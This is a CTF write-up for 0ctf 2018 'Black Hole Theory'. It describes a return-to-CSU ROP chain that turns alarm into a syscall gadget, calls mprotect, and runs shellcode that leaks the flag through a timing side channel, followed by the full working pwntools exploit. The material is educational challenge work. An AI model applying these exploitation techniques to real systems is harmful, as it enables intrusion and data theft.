0ctf 2018 - Black Hole Theory
The challenge is a simple binary that first sets a few seccomp rules to disable all the syscalls besides open, close, read, mprotect and exit. Then it proceeds to read 0x100 bytes into a stack variable that serves as an obvious stack overrun. To further complicate issues the binary is executed by a wrapper, that reads 0x800 bytes and passes it to the program on its stdin, in one burst, while it also closes the stdout pipe.
The binary is not compiled as a PIC and full-relro is not turned on, this enables the use of the return to CSU primitive (also suggested by the hint).
The primitive allows us to call a pointer at an arbitrary location in the address space with the first three parameters controlled.
Since there is no way to leak addresses from the binary (stdout closed, no write syscall) we must use that is already there.
This very simple binary only uses two libc functions (alarm and read), the address of which are present in the .got.plt
section, at a known location.
With these primitives the following exploit flow seems possible:
- Use the CSU primitive to call the
read
libc function and use it to overwrite the LSB of thealarm
function pointer - By setting the
alarm
address 5 bytes higher, thealarm
function is turned into an arbitrary syscall primitive (the setrax
part is skipped) - Since
rax
cannot be controlled by ROP gadgets the return value of read must be used to set it. Read 10 bytes to somewhere to setrax
to 10 which ismprotect
’s syscall nr. - Call
mprotect
to turn the.bss
into anrwx
region - Read an arbitrary shell code to this new
rwx
region and jump to it - The shell code can read the flag and use a timing channel to leak its bits. In each execution it can crash and close the connection or go into an infinite loop based on the next bit of the flag. The difference in the time of the connection interrupt can be detected at receiver side, thus the flag can be reconstructed.
There is only a minor technical challenge while executing this plan. The size of the original payload is limited to 0x100-40 bytes which is enough to call the CSU primitive only three times. This can be alleviated by breaking up the first part of the exploit into multiple stages. Alternatively, with a bit of optimisation three calls can be enough to read and execute the shellcode:
- The original
read
to overwrite the LSB ofalarm
can be 10 bytes long, setting up for the mprotect call. - Call
mprotect
- Call
read
, to read the address of the shellcode right after theread
pointer in.got.plt
and read the shell code as well.
If the rbp
is set to more than one during the CSU call, the primitive consecutively executes multiple functions from the provided location. Using this the third CSU primitive will execute the shellcode that it read in. At this point the .bss
would have the following layout:
- random
.got.plt
entries - AAAAAAAAA - from using 10 bytes to overwrite the
alarm
LSB - modified address of
alarm
- address of
read
- address of the shell code (next address)
- the shell code
This exploit yields the following flag (after considerable time):
flag{even_black_holes_leak_information_by_Hawking_radiation}
The complete exploit:
#!/home/gym/.venvs/ctf/bin/python2
import os
import sys
import time
from pwn import *
from hashlib import sha256
sys.path.append(os.path.expanduser('~/ctf/magicpwn'))
import magicpwn
c = None
m = None
def do_pow():
chal = c.recv(16)
for i in xrange(0xffffffff):
if sha256(chal + p32(i)).hexdigest().startswith('00000'):
c.send(p32(i))
c.recv(1)
return
raise ValueError("Failed to solve PoW")
def csu_call(rdi, rsi, rdx, rip, rbp=1):
CSU1 = 0x400A4A
# rbx 0
# rbp 1
# r12 ptr to callq
# rdx
# rsi
# edi
CSU2 = 0x400A30
rc = p64(CSU1)
rc += p64(0)
rc += p64(rbp)
rc += p64(rip)
rc += p64(rdx)
rc += p64(rsi)
rc += p64(rdi)
rc += p64(CSU2)
return rc
def try_one(c, target, idx, bit):
CALL_READ = 0x4009C0
POP_RBP = 0x400808
ADD_EBX_ESI = 0x400829
ALARM_GOT = 0x601040
READ_GOT = 0x601048
DATA_SEG = 0x601000
DATA = ALARM_GOT+8
if target == 'remote':
do_pow()
shell_size = 0x800 - (0x100 - 0x10)
# overwrite lsb of alarm (make it syscall)
rop = csu_call(0, ALARM_GOT-9, 10, READ_GOT)
# return val 10 is sycall number
rop += csu_call(DATA_SEG, 0x1000, 7, ALARM_GOT)
# return val 0 is syscall number + call the read location
rop += csu_call(0, DATA, shell_size, ALARM_GOT, 2)
#rop += p64(DATA)
payload = 'A'*40 + rop
c.send(payload + 'B' * (0x100 - len(payload)))
if m.target == 'remote':
c.send('C'*9+'\x85')
else:
c.send('C'*9+'\xe5')
defs = {'IDX':str(idx), 'BITNR':str(bit)}
shell = magicpwn.compile_shell("./shell.c", defs)
if m.target == 'remote':
flag = "flag\x00"
else:
flag = "/ctf/flag.txt\x00"
pl = p64(DATA+8) + shell + flag
c.send(pl + 'E' * (shell_size - len(pl)))
if not c.connected():
print("Flag location: {} incorrect".format(flag))
raise ValueError("Failfish")
time.sleep(2)
if not c.connected():
return 1
try:
c.send('a')
except:
return 1
return 0
gdbs=[
#'b *0x4009c7',
#'b *0x400a39', # call in csu
#'b *0x601058', # jump to payload
#'b *0x400863',
'c',
]
bp =[
]
if __name__ == "__main__":
target = 'remote'
context.log_level = logging.ERROR
m = magicpwn.Magic(target, 'none', aslr=True, libc='local')
flag = ""
for i in range(42, 200):
nextchr = 0
for j in range(7):
c = m.start(cmds=gdbs, bp=bp, ida=False)
val = try_one(c, target, i, j)
print("[#] CHR: {} BIT: {} VAL: {}".format(i, j, val))
if val == 1:
nextchr += 1<<j
flag += chr(nextchr)
print("[#] CHR {}: {} Flag: {}".format(i, chr(nextchr), flag))
if chr(nextchr) == "}":
sys.exit(0)